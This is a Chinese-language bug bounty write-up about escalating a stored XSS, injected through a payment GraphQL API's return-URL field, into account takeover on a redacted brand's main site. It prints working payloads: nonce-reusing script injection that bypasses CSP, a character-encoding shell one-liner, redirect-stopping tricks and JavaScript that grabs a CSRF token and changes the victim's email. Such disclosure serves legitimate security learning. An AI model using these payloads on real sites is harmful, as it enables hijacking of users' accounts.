掌握API建模:基本概念和实践
通过 GraphQL API 进行存储型 XSS 账户接管 (ATO)
通过 GraphQL API 进行存储型 XSS 账户接管 (ATO)
去年年底,在 HackerOne 的 LHE 期间(由于时间极其紧迫,这在后来才变得重要),我发现了一个大品牌网站上极具挑战性的漏洞,该漏洞涉及多层利用,最终导致存储的 XSS 负载,只需访问该品牌主网站上的特定无害页面 ( www.redacted.com
),即可接管受害者的帐户。此漏洞的范围完全在该品牌的公共计划内。
这个漏洞的回报很高(CVSS 8.7),我认为描述发现和利用它的过程会很有趣。有一件事我不会回避,那就是在利用这个漏洞的过程中,我被卡住了——完全卡住了——好几次。我几乎放弃了,觉得这是不可能的,特别是因为我在利用棘手的 XSS 和处理奇怪的编码解决方案方面有着非常糟糕的记录。
然而,我认为这也可能具有启发性,也许读到这篇文章的人会重新考虑他们认为已经达到极限的错误 – 并努力实现更具影响力的结果!
设置
我发现的第一个漏洞与该品牌的支付处理 API 有关 – 这是客户(商家)用来处理不同国家/地区的信用卡和金融交易的 API。该品牌是跨国品牌,因此他们处理许多不同国家/地区的多种不同类型的交易 – 包括一些我在美国从未听说过的交易,因此不得不在侦察中对其进行研究。
该支付处理器支持的一种交易类型是离线支付流程,用于处理信用卡不常见且现金交易更为普遍的地区。在这些地区,支付处理器允许客户进行电子商务购买并获取唯一代码(如二维码),他们可以将其带入商店并以现金支付交易费用。一旦商店确认交易,电子商务商家就会收到商品付款,客户也会收到商品。
因此,交易的流程大致如下:
- 当客户下订单时,电子商务商家启动线下支付流程
- 电子商务商家向客户提供一个可用于付款的唯一店内代码
- (线下)客户携带代码到支付网络内的商店并以现金支付
- 电子商务商家收到付款已发生的通知
- 电子商务商家向客户发送一个唯一的 URL,客户可以访问该 URL 来确认购买
请注意,最后一步中的“唯一 URL”是由商家在设置交易时提供的(您可以将其视为传统的基于在线信用卡的工作流程中的“确认 URL”)。
有效载荷
在这种情况下,我们的攻击者是能够创建这些离线交易的商家(或该商家的用户)。商家将提交包含 XSS 有效负载的确认 URL。此有效负载一旦持久化,就会显示在品牌主网站的页面下(www.redacted.com
)。
我们的商家通过不同域上的 GraphQL API 提交请求,payments.redactedtwo.com
其有效负载如下(抱歉进行了过多的删改):
POST /graphql HTTP/1.1
Host: payments.redactedtwo.com
...
{"query":"mutation {\n ...redacted...(input:{ ...redacted... \n
returnUrl: \"<payload here>\" ... }) ...
我们可以看到这个 GraphQL API 接受一个returnUrl
参数,该参数将成为我们的有效负载源。请注意,GraphQL 调用是完全独立的顶级域上的 API。这很有趣,因为它允许将存储在品牌域之一中的有效负载呈现在另一个可能更为关键的域中。提交后,我们可以访问网站上一个唯一的静态 URL,该 URLwww.redacted.com
在参数中包含我们的有效负载returnUrl
。
让我们看看有效载荷在接收器上是如何出现的www.redacted.com
:
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = '<payload>?..dynamic url parameters...'
</script>
我们看到这个脚本有一个 nonce,并且我们的注入点<payload>
就在脚本内部——看起来像是一个非常容易存储的 XSS,对吗?
nonce 的存在稍后会变得很重要,让我们看一下Content-Security-Policy
标头以了解存在哪些限制(注意:直到我深入到有效载荷开发时我才查看 CSP – 这是一个大错误,导致我至少浪费了 2 个小时,原因我将在后面描述)。我将把它分成几行以便于阅读:
Content-Security-Policy:
default-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;
script-src 'nonce-G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE' 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;
img-src 'self' https:;
frame-src 'self' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;
child-src 'self' https://*.redacted.com https://*.redactedtwo.com;
object-src 'none';
font-src 'self' https://*.redacted.com https://*.redactedtwo.com;
base-uri 'self' https://*.redacted.com;
form-action 'self' https://*.redacted.com;
upgrade-insecure-requests;
connect-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;
我们可以看到这个 CSP 非常严格 – 我们只能从(强化的)品牌网站本身获取信息,并且页面上的任何脚本标签都需要 nonce。
尝试 1:javascript://
url
显而易见,在注入点的第一次尝试location.href=
是简单地放置一个带有有效负载的 Javascript 方案,例如javascript://alert(1)
。我很幸运,因为这里没有明显的 WAF 阻止像这样的简单有效负载。所以我尝试了这个,然后……
…失败了。GraphQL API 拒绝了 URL 并显示错误400
。我尝试了许多其他尝试,编码、基础、空格等 – 都没有成功。API 正在验证提供的 URL 以 开头https://
并包含完整主机名,后面跟着/
。所以很明显我们有一个开放的重定向,但我知道这可以被利用来执行存储型 XSS。
例如https://hackerone.com/
将导致以下存储的有效载荷:
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = 'https://hackerone.com/?...dynamic URL parameters...'
</script>
简要说明一下...dynamic URL parameters...
– 这些是附加到 GraphQL API 中提供的 URL 的参数,代表唯一的交易 ID、有关客户的信息等 – 这始终以?
单引号内的前导字符结尾。
附注:这里有几个错误的开始
在本文的后面,出于显而易见的原因,我尝试提交各种形式的https://
不带尾部斜杠的 URL – 这将导致主机名后面的所有内容都经过 URL 编码,并且通常在 Javascript 上下文中对 XSS 毫无用处。我应该早点尝试一下,因为这样以后可以节省大量时间。
尝试 2:尾随有效载荷
此时我们知道有效载荷必须以有效的 URL 和主机名开头,因此我们以此https://hackerone.com/
作为有效载荷的开头。
幸运的是,我能想到的下一个最明显的有效载荷起作用了。单引号字符没有被任何方式阻止或编码,因此以下有效载荷实际上生成了存储警报:
https://hackerone.com/';alert(document.domain);//
这生成了一个警报(很棒),但关闭后,用户会立即重定向到提供的 URL。太棒了!存储了 XSS 有效负载并具有 DOM 访问权!
提交
此时,我认为自己做得不错,并在事件现场部分开始之前将错误提交到了 LHE。在将错误分类为中等影响后,我向分类/客户团队发送了一条通知,询问需要什么才能证明影响更大。
另外,对于那些不知道 HackerOne LHE 如何构建的人来说,有一段(5.5 天)时间,LHE 参与者会被告知范围并可以提交错误。这些错误会被分类,但直到活动的现场部分才会最终确定/付款。现场部分包括一天(实际上约 10 小时),参与者可以提交其他错误或升级之前提交的错误。
客户(通过分类团队)回复说,他们认为,由于主站点上的 CSP 和 cookie 设置,不可能将存储型 XSS 升级到更高的严重程度。
已接受的挑战!
当然,我认为这是个挑战,因为我知道,只要将有效载荷放在上下文中,<script nonce>
我就能够制作我想要的任何有效载荷,利用它将很容易!
下一步:构建 ATO 有效载荷
我开始设计我能想到的最好的存储型 XSS ATO 有效载荷。有效载荷执行了以下任务,我在主站点上打开的窗口的开发控制台 (F12) 中对其进行了测试:
XMLHttpRequest
通过访问网站主页获取用户的 CSRF 令牌fetch
通过解析调用返回的 HTML 来提取 CSRF 令牌- 使用以下 API 调用来更改帐户上的电子邮件地址
XMLHttpRequest
请注意,connect-src
CSP 使得尝试使用 Javascript 将信息从页面泄露到攻击者域变得不可能,因此 ATO(或类似的 CSRF 行为是我在此处选择的有效载荷)。
此时,攻击者可以接管该帐户,因为他们控制了电子邮件地址,可以使用“忘记密码”功能来完成接管。cookie(甚至HttpOnly
)将在最后一个请求中发送,因为同源策略允许它们被包含在内(XHR 源自正确的域,www.redacted.com
)。
我想大多数人都熟悉如何编写这种类型的有效载荷,因此在这里我就不详细介绍了,因为它非常简单:
function decodeHtml(html) {
var txt = document.createElement("textarea");
txt.innerHTML = html;
return txt.value;
}
fetch("https://www.redacted.com/url/to/get/csrf/").then(r => r.text()).then(r => {
csrf_token = /data-token="([^"]*)"/.exec(r)[1]
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.redacted.com/api/to/change/email", true);
xhr.setRequestHeader("X-Csrf-Token", decodeHtml(csrf_token));
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
o=new Object(); ... other parameters ... o.email='<my_email_address>';
xhr.send(JSON.stringify(o));
})
我在 Chrome 开发控制台中对此进行了测试,并确认它具有 ATO 的预期效果。准备就绪!
尝试3:拒绝
我将有效负载提交给 GraphQL API,一切正常!最初没有错误,但后来我点击了存储的 XSS 页面本身,然后看到…
HTTP/2 400 Bad Request
存储的有效载荷没有呈现!
回到原始alert(document.domain)
有效载荷,它起作用了。因此,我的完整 ATO 有效载荷中一定存在某些问题,导致服务器无法呈现 XSS。
在对工作有效载荷进行多次迭代之后(不幸的是,由于源和接收器是不同的事务并且需要几个中间步骤,我无法使用任何方便的自动化工具),我发现以下所有字符都会导致错误400
:
{}<>"[]
请注意,所有空白字符也被拒绝。可能还有其他我不记得的字符 😁 但以下肯定没有被阻止:
()=.;/\
所以,我只需要处理有限的 Javascript 词汇量,没问题!
尝试 4:异步
我最终重写了大部分有效载荷以排除受限制的字符。请注意,我尝试了所有类型的编码(URL、javascript、十六进制、八进制、双重编码等),但这些都无法绕过限制。我要指出的是,这非常繁琐,因为错误出现在接收器上,而不是源头上,因此每次迭代至少浪费了一两分钟。
fetch
我甚至收到了使用受限字符集的初始请求,如下所示:
https://hackerone.com/';fetch("https://www.redacted.com/url/to/get/csrf/").then(console.log);//
我可以看到Response
来自fetch
调用的对象击中了控制台日志——现在我们已经取得了一些进展!
然后我遇到了大问题。
请记住,我的攻击链需要 3 个步骤:
因为fetch
(和) 是异步 API,所以我们需要用lambda 函数XMLHttpRequest
填充方法then
参数,该函数将在 Promise 解析时异步执行(有关更多信息,请参阅mdn)。问题是,如果没有这些字符,我认为无法在 Javascript 中构造 lambda 函数,无论是使用括号语法还是箭头语法(如果有人聪明地阅读本文并提出建议,我的 DM 在 Twitter 上是开放的,我非常感兴趣!)。{}>
我立即意识到这是一个巨大的障碍。即使我重写了其余的有效负载以避免所有这些其他字符(最终成为可能),无法定义在 Promise 解析时要调用的 lambda 函数仍然是一个难题。
但请稍等!在 Javascript 参考中的对象文档中Function
,有一种形式Function(var, body)
,其中body
是一个字符串!无需括号或箭头语法!
尝试 5:还有一件事……
我兴奋地重写了我的有效载荷以利用这个惊人的语法,结果却发现我在 CSP 中遗漏了一些东西……eval
由于 CSP 缺少指令,因此不允许unsafe-eval
。没错,这种形式的Function
构造函数(毫不奇怪)eval
在幕后使用该形式将该字符串转换为实际的 Javascript 函数。
这很不幸,因为我浪费了大约 30 分钟的宝贵时间来弄清楚这个语法是如何工作的(文档对于如何传递和引用变量有点模糊)。
我认为这种方法根本行不通,因为某些特定字符被阻止了。(实际上,此时我还没有弄清楚空格也因为某种原因被阻止了,我会责怪睡眠不足),这会使编写函数变得困难甚至不可能。
尝试 6:不同的方法
所以这时我去吃了点东西,因为我已经连续奋斗了至少 3 个小时。当我在走廊里徘徊时,我陷入了沉思。显然我可以调用 Javascript 方法,因为我可以访问这些().;
字符。我肯定能想出点办法!
(我要补充一点,我相信有人会非常乐意帮助我,但由于这是我的第一个 LHE,所以我想在没有任何帮助的情况下找到一个真正有影响力的错误!)
这时我意识到了三件事:
- 为了成功传递我的payload,我需要绕过被屏蔽的特殊字符,
- 我已经确认,只要我小心使用字符,我就可以执行任意的 JavaScript 代码,
<script>
我可以访问已存在的标签DOM 中 nonce 的正确值
我决定尝试以下方法:
- 使用非常简单的 Javascript 创建新的
<script>
DOM 节点 <script>
在该脚本节点上设置 nonce,使其与页面上已有节点的 nonce 相匹配- 找到一种方法来编码我的有效载荷,以便我可以将
innerText
新<script>
节点的设置为没有特殊字符的值 - 将我的新
<script>
标签插入到 DOM 中,payload 就会执行
有趣的是,如果您还没有遇到过这种情况 – 如果<script>
标签已经开始执行(页面上的一个标签),则替换innerText
将不起作用。由于 CSP,除了<script>
使用 nonce 的标签之外,我没有看到任何其他方法来执行我的有效载荷(再次强调,如果我遇到了,我很想听听大家的评论或建议!)。
但是,如果页面尚未完成内联脚本的渲染和执行,您可以<script>
在内联脚本后插入一个新节点并执行它(请注意,这仅在页面尚未加载时才有效 – 如果您尝试在事件触发<script>
后插入 DOM 节点onload
,则为时已晚)。
希望你们仍然和我在一起!
我决定用一个简单的有效载荷来尝试这个,如下所示:
https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText='alert(document.domain);';document.head.appendChild(s);;//'
我启动了它……它成功了!警报弹出,新标签上的随机数使我的脚本通过了 CSP 检查。
非常兴奋,因为看起来这个策略会起作用!
尝试 7:避免使用特殊字符
我想说的是,此时我基本上已经有了关于其余有效载荷的想法,但是我面临着极大的时间压力,需要在 LHE 结束前提交升级,最终却因为几个愚蠢的错误而浪费了一些时间。
第一个错误是尝试只编码那些被阻止的字符。手动操作很困难,而且当我发现漏了一个字符时,我花了很多时间。
因此我决定采用以下方法:
redacted_payload.txt
使用我的 JavaScript 有效负载创建文件- 运行以下 shell 命令将文件中的每个字符编码为一系列调用
String.fromCharCode
生成的 shell 命令:
(for i in `cat redacted_payload.txt | xxd -ps -c 0 | sed -e 's/\(..\)/\1\n/g'`; do echo "String.fromCharCode("$((16#${i}))")+"; done) | tr -d '\n'
输出结果如下:
String.fromCharCode(123)+String.fromCharCode(32)+String.fromCharCode(102)+String.fromCharCode(117)+
... repeating for many characters ...
再说一次,当没有时间压力时,我相信我可以在这里想出一些更优雅的东西,但这个方法奏效了,我最终得到了一个非常大的有效载荷(幸运的是,可以存储的 URL 没有长度限制!)。
我提交了完整的payload,现在看起来像这样:
https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
但…它没起作用。就在那时我记起了我忽略的一件事…
最后一步:烦人的重定向
请记住,我们注入的内联脚本是通过设置属性来重定向窗口而启动的location.href
。这会导致浏览器开始导航,此时它可能/也可能不会完成任何进一步的内联脚本的执行,并且它肯定不会等待 asyncPromise
完成(例如 XHR 或)fetch
。我看到的是,我编码的有效负载正在运行,但浏览器会立即离开页面,整个过程没有机会完成。
还要记住,重定向必须以合法的主机名开头,因此不可能提供浏览器无法导航到的无效重定向。
此时我开始有点慌了,提交结束前大约还有 30 分钟,我知道我即将升级。我查阅了 Javascript 参考资料,了解了location.href
设置时的行为,我看到了window.stop()
记录为“中止浏览器导航”的小妙招。这看起来像是我的答案,所以我在 URL 字符串结束后立即添加了一个调用,如下所示:
https://hackerone.com/';window.stop();s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
好消息:这达到了停止重定向的预期效果!
真的是坏消息:这也阻止了任何未完成的fetch
或XHR
没有简单方法恢复的请求。
虽然可能可以编写一些巧妙的代码来解决这个问题,但我现在只剩下 20 分钟了,需要快速找到解决方案!
此时,我想知道如果我location.href
再次设置其他内容,如果速度足够快,第二个任务是否会覆盖第一个导航。起初我尝试使用 URL javascript:
(这太容易了),最后发现 URLfoo://a
会让浏览器的行为完全符合我的期望:
- 停止导航到合法 URL
- 产生错误(不重要)
- 允许进一步的 XHR/
fetch
请求继续进行
此时,距离提交截止仅剩 15 分钟,我已获得最终的有效载荷:
https://hackerone.com/';location.href='foo://a';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
我在几分钟之内就将有效载荷连同成功的存储型 XSS 证据一起提交给了 ATO,并且已经在这个升级链上花了将近 6 个小时。
客户接受了这种升级,并且非常惊讶在所有保护措施到位的情况下这竟然是可能的。
结论
最后还有几点总结建议:
- 当现成的有效负载不起作用时,熟悉 Javascript 语言和语法会非常有帮助。MDN 参考资料在这方面非常有用。
- 熟悉该语言还可以帮助您更好地解决特殊字符等主要障碍。
- 在时间压力之下,知道自己何时走进死胡同并回头尝试新方法是非常重要的——我在这个练习中做过几次。
- 如果需要奇怪的编码,知道如何编写简单的文本处理脚本将节省大量时间。
我确信还有其他方法可以解决这个问题,但我认为解决方案的历程和不同阶段的思考过程(以及失败!)可能会让读者感兴趣
文章转自微信公众号@Rsec